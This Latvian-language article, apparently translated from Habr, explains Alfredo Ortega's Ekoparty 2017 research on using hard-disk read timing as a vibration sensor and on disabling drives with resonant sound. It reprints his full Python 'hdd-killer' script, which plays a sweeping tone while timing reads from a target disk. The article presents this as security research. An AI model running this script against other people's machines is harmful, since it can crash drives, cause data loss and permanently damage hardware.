Kāpēc jums nevajadzētu kliegt uz savu HDD

Kāpēc jums nevajadzētu kliegt uz savu HDD

DatordroŔības konferencē Ekoparty 2017 Buenosairesā argentÄ«nieÅ”u hakeris Alfredo Ortega demonstrēja ļoti interesantu izstrādni - sistēmu telpu slēptai telefonsarunu noklausÄ«Å”anai, neizmantojot mikrofonu. Skaņa ierakstÄ«ts tieÅ”i cietajā diskā!

HDD galvenokārt uztver augstas intensitātes zemas frekvences skaņas, soļus un citas vibrācijas. Cilvēka runu vēl nevar atpazÄ«t, lai gan zinātnieki veic pētÄ«jumus Å”ajā virzienā (runas atpazÄ«Å”ana ar zemas frekvences vibrācijām, kas tiek ierakstÄ«tas, piemēram, no žiroskopa vai HDD).

Skaņa ir gaisa vai cita nesēja vibrācija. Cilvēks tos uztver caur bungādiņu, kas pārraida vibrācijas uz iekŔējo ausi. Mikrofons veidots aptuveni kā auss ā€“ arÄ« Å”eit vibrācijas fiksē plāna membrāna, kas ierosina elektrisko impulsu. Cietais disks, protams, ir pakļauts arÄ« mikroskopiskām vibrācijām apkārtējā gaisa svārstÄ«bu dēļ. Tas ir zināms pat no HDD tehniskajiem parametriem: ražotāji parasti norāda maksimālo pieļaujamo vibrācijas lÄ«meni, un pats cietais disks bieži mēģina to ievietot vibrācijas izturÄ«gā konteinerā, kas izgatavots no gumijas vai cita izolācijas materiāla. No tā ir viegli secināt, ka skaņas var ierakstÄ«t, izmantojot HDD. Atliek tikai izdomāt, kā.

Alfredo Ortega ierosināja unikālu sānu kanālu uzbrukuma versiju, proti, laika uzbrukumu. Å is uzbrukums ir balstÄ«ts uz pieņēmumu, ka ierÄ«cē dažādos laikos tiek veiktas dažādas darbÄ«bas atkarÄ«bā no ievadÄ«tajiem ievades datiem. Å ajā gadÄ«jumā ā€œievades datiā€ ir lasÄ«Å”anas galviņas un HDD Ŕķīvja vibrācijas, kas korelē ar vides vibrācijām, tas ir, ar skaņu. Tādējādi, mērot aprēķina laiku un veicot datu statistisko analÄ«zi, ir iespējams izmērÄ«t galvas/plates vibrācijas un lÄ«dz ar to arÄ« vides vibrācijas. Jo ilgāka ir datu nolasÄ«Å”anas aizkave, jo spēcÄ«gāka ir HDD vibrācija un lÄ«dz ar to skaļāka skaņa.

Kā izmērÄ«t cietā diska vibrācijas? Ä»oti vienkārÅ”i: vienkārÅ”i palaidiet sistēmas zvanu read () ā€” un pierakstiet laiku, kas nepiecieÅ”ams pabeigÅ”anai. MÅ«sdienu operētājsistēmas ļauj nolasÄ«t sistēmas zvanu laiku ar nanosekundes precizitāti.

Informācijas nolasÄ«Å”anas ātrums no sektora ir atkarÄ«gs no galviņas un Ŕķīvja stāvokļa, kas korelē ar HDD korpusa vibrācijām. Tas ir viss.

Statistiskā analīze tiek veikta, izmantojot vienkārŔu Kscope utilītu. Kā saka, viss ģeniālais ir vienkārŔs.

Kāpēc jums nevajadzētu kliegt uz savu HDD
Kscope utilīta (stat() syscall)

Kscope ir neliela utilÄ«ta, lai vizualizētu nelielas sistēmas zvanu izpildes laika atŔķirÄ«bas. Avotspublicēts vietnē GitHub.

AtseviŔķā repozitorijā HDD laiks ir utilÄ«ta versija, kas konfigurēta laika uzbrukumam cietajam diskam, tas ir, konfigurēta, lai analizētu sistēmas zvanu read ().

Skaņas ierakstÄ«Å”anas demonstrÄ“Å”ana, izmantojot HDD, utilÄ«ta Kscope darbÄ«ba


Protams, runu Ŕādā veidā nevar saprast, taču HDD ir diezgan piemērots kā vibrācijas sensors. Piemēram, jÅ«s varat reÄ£istrēties, ja telpā ar datoru ienāca persona, kas valkā cietus apavus vai basām kājām (iespējams, ja uzbrucējs ir uzvilcis mÄ«kstas kedas vai uz grÄ«das ir biezs paklājs, HDD nevarēs reÄ£istrēt vibrācijas - to ir vērts pārbaudÄ«t). Dators spēj reÄ£istrēt stikla plÄ«sumus vai citus incidentus ar spēcÄ«gu skaņas intensitāti. Tas ir, cietais disks var kalpot kā sava veida nesankcionēta ielauÅ”anās atklāŔanas sistēma.

HDD slepkava

Starp citu, lÄ«dzÄ«gu paņēmienu var izmantot, lai atspējotu cietos diskus. Tikai Å”eit mēs nenoņemam svārstÄ«bas no HDD, bet gluži pretēji, mēs Ä£enerējam svārstÄ«bas, kas tiek ievadÄ«tas HDD. Ja atskaņojat skaņu no skaļruņa frekvencē, kas rezonē ar HDD frekvenci, sistēma drÄ«z izslēdz ierÄ«ci ar I/O kļūdu (Linux kodols pilnÄ«bā izslēdz HDD pēc 120 sekundēm). Pats cietais disks var ciest neatgriezeniskus bojājumus.

Kāpēc jums nevajadzētu kliegt uz savu HDD
Linux kodols izslēdza cieto disku pēc 120 sekundēm, kad skaņa tika nodroÅ”ināta ar rezonanses frekvenci caur Edifier r19u USB skaļruņa skaļruni. Skaļrunis ir ieslēgts ar aptuveni ceturtdaļu no jaudas (mazāk nekā 100 mW) un atrodas 20 cm attālumā no HDD un ir vērsts pret galdu, lai uzlabotu vibrācijas. Rāmis no video ar HDD killer demonstrāciju

Interesanti, ka Ŕādi ā€œuzbrukumiā€ cietajiem diskiem ikdienas dzÄ«vē notiek pilnÄ«gi nejauÅ”i. Piemēram, 2016. gada septembrÄ« ING Bank datu centrs pēc ugunsdzēsÄ«bas mācÄ«bām bija spiests apturēt darbÄ«bu uz 10 stundām. Desmitiem cieto disku ir sabojājuÅ”ies sakarā ar inertās gāzes skaļo skaņu, kas izdalās no baloniem zem augsta spiediena. Skaņa bija ļoti skaļa (vairāk nekā 130 dB), taču jÅ«s pat nevarat kliegt uz cietajiem diskiem - tas palielina aizkavi, piekļūstot HDD.

Demonstrācija, kā datu centrā cilvēki kliedz uz cietajiem diskiem. Latenta mērÄ«Å”ana


Lai radÄ«tu rezonējoÅ”o skaņu, Alfredo Ortega uzrakstÄ«ja Python skriptu ar nosaukumu HDD-slepkava (video demonstrācija).

HDD killer skripts Tas ir diezgan mazs, tāpēc varat to pilnÄ«bā publicēt Å”eit.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Avots: www.habr.com

Pievieno komentāru